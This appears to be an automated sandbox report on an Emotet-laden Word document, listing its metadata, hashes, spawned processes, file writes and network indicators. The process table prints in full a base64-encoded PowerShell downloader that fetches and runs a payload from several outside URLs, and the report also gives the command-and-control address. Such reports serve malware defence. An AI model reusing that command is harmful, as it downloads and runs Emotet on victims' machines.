File name: | file-844276168-R6116.doc |
Full analysis: | https://app.any.run/tasks/5cfb9393-dcd9-4145-bba7-dc5037a49196 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | May 24, 2019, 16:09:18 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Rhode Island compressing orchestrate, Subject: SCSI, Author: Owen Fadel, Comments: Pre-emptive Rustic Gorgeous, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri May 24 14:52:00 2019, Last Saved Time/Date: Fri May 24 14:52:00 2019, Number of Pages: 1, Number of Words: 15, Number of Characters: 91, Security: 0 |
MD5: | 3B7774B4712573D4E4ABA2B8D7924DA8 |
SHA1: | 383A9BCC7951DF0F73B017D0356EBA105D429095 |
SHA256: | ED2595F063B1DE0AAFAA61708FD58897C47B7E2C23762581A21F95CF432C5EE0 |
SSDEEP: | 1536:PDMeOY5C6OJsdBpZW3+a9aCM0YvL3ozpycr25TjFL:P4eOY5CTsdAsCMYv0Tjh |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserTypeLen: | 32 |
---|---|
CompObjUserType: | Microsoft Word 97-2003 Document |
Title: | Rhode Island compressing orchestrate |
Subject: | SCSI |
Author: | Owen Fadel |
Keywords: | - |
Comments: | Pre-emptive Rustic Gorgeous |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2019:05:24 13:52:00 |
ModifyDate: | 2019:05:24 13:52:00 |
Pages: | 1 |
Words: | 15 |
Characters: | 91 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | Willms - Reichel |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 105 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
Manager: | Hansen |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
756 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\file-844276168-R6116.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
1308 | powershell -nop -e JABJADYAWQBLAHUAdgA9ACcAVwBaAEcAegB3AFUAVgBwACcAOwAkAGwAUwBvAHcAcQBVAG4AIAA9ACAAJwA1ADIAMgAnADsAJABGAHAATwA1AFkAZgBZAD0AJwBwAGkAaQBoAEMAOQAnADsAJABOAGgANwBZAHIAOAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAbABTAG8AdwBxAFUAbgArACcALgBlAHgAZQAnADsAJABXADUAagB3ADgAaQA9ACcAegByADgAMABUAEkASwAnADsAJABTAGoAaQBrAG4ARQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQAYAAuAGAAdwBFAEIAYwBsAGkAZQBuAHQAOwAkAHYAMQBiADAARwAyAD0AJwBoAHQAdABwAHMAOgAvAC8AZwB1AGEAbgBsAGEAbgBjAG0ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADkAMAAwAGUAeQAwADEAOQA3ADMAOAAvAEAAaAB0AHQAcAA6AC8ALwBwAG8AdwBlAHIAYgBvAHgAdAByAGEAeQBzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA4ADYAMgA4ADQALwBAAGgAdAB0AHAAOgAvAC8AcwBlAHYAYQBzAGgAcgBhAG0AbQBpAHQAaABhAGwAaQAuAGMAbwBtAC8AdAB1AGsAdwByAC8AaABqADcALwBAAGgAdAB0AHAAOgAvAC8AYQBwAHIAaQBnAGgAdABzAC4AYwBvAG0ALwBhAGIAbwB1AHQALwByAG0AdAB6AHUAMwAxADgALwBAAGgAdAB0AHAAOgAvAC8AYgAtAHMAdAB5AGwAZQBzAC4AbgBlAHQALwBpAG0AZwAvAHEAagBkAGwAeABvADEANQA3ADEAMQAvACcALgBTAFAAbABJAFQAKAAnAEAAJwApADsAJABsAHAANwBCAF8AcQA9ACcAdwBHADMAMwBqAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANABLADMAUgBCAE8AIABpAG4AIAAkAHYAMQBiADAARwAyACkAewB0AHIAeQB7ACQAUwBqAGkAawBuAEUALgBkAE8AVwBOAEwAbwBBAGQARgBJAEwAZQAoACQATQA0AEsAMwBSAEIATwAsACAAJABOAGgANwBZAHIAOAApADsAJABCAFAAbgAyAHcASgBLAD0AJwBXAHcAYwBrAHMAcABZACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATgBoADcAWQByADgAKQAuAGwARQBOAGcAdABIACAALQBnAGUAIAAzADIAMAAyADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABBAHIAVAAoACQATgBoADcAWQByADgAKQA7ACQAUAA3AFMAYgBPAEsAPQAnAFUAWQBxAFkAOABJAGYAUgAnADsAYgByAGUAYQBrADsAJABGAFQAagBmADkAcABqAD0AJwBqAFEAYgBpAFEASABiAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAcABaAHEATgBMAHoAawBxAD0AJwBRAEUAYQB2ADMAZgBKAHYAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1568 | "C:\Users\admin\522.exe" | C:\Users\admin\522.exe | — | powershell.exe |
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 | ||||
1420 | --8c7218b3 | C:\Users\admin\522.exe | 522.exe | |
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 | ||||
1968 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 522.exe | |
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 | ||||
964 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 | ||||
2084 | "C:\Users\admin\AppData\Local\soundser\zxpieLCqVH2.exe" | C:\Users\admin\AppData\Local\soundser\zxpieLCqVH2.exe | — | soundser.exe |
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 | ||||
640 | --16675a15 | C:\Users\admin\AppData\Local\soundser\zxpieLCqVH2.exe | zxpieLCqVH2.exe | |
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 | ||||
2172 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | zxpieLCqVH2.exe | |
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Exit code: 0 Version: 9.6.2.31837 | ||||
1352 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | — | soundser.exe |
User: admin Company: VMware, Inc. Integrity Level: MEDIUM Description: VMware Resolution Set Version: 9.6.2.31837 |
PID | Process | Filename | Type | |
---|---|---|---|---|
756 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRDD3.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1308 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WXAQ0FPEM4K84OGSM9TV.temp | — | |
MD5:— | SHA256:— | |||
756 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D0A4A8FD.wmf | wmf | |
MD5:60F596F6BEA9CABC42020693B3FEC751 | SHA256:13C6FB9782639770EF18D941100D56B074C5FFD7D3125B9C108152EE19D96E01 | |||
1308 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1217f5.TMP | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B | |||
756 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:1C3731FA96EBDD2B59DD9077E7304E50 | SHA256:90231EF6597C66760A15F548BBB57E7F36AE0729947BF09439BF18DB568920C7 | |||
756 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6E0789D7.wmf | wmf | |
MD5:B6D2DB29D16C8B8743D89485A2CA8392 | SHA256:8B9B3F26ACF6EF58224A2F81AA9A3476BBB8CD6CFF25B2DF4AA0EB4667F70C21 | |||
756 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:877F5776AAAD8B8964513960ADDA5F62 | SHA256:DE44ADEBA0A00E1DDED37B7582FFA76DD22D09E585A4C9B3AC1DF65643B07394 | |||
756 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$le-844276168-R6116.doc | pgc | |
MD5:BFBD880A980FD5F1E822FA8DBE658A02 | SHA256:CA1056BB463BA935CDE55F4C032DEAD599B0B5595DA79A7CD2A2CA8D0F53A3BD | |||
756 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F415E221.wmf | wmf | |
MD5:D3EC1793D4D8AEBA5140496F57EC3E5D | SHA256:50290B55A68367D56BD843D65B88113A246C9CB5B45C6441EAE2490E60DD0D4A | |||
1308 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
964 | soundser.exe | POST | 200 | 159.65.241.220:8080 | http://159.65.241.220:8080/window/free/ | US | binary | 81.1 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1308 | powershell.exe | 119.3.105.255:443 | guanlancm.com | — | CN | unknown |
964 | soundser.exe | 159.65.241.220:8080 | — | — | US | malicious |
Domain | IP | Reputation |
---|---|---|
guanlancm.com |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
964 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |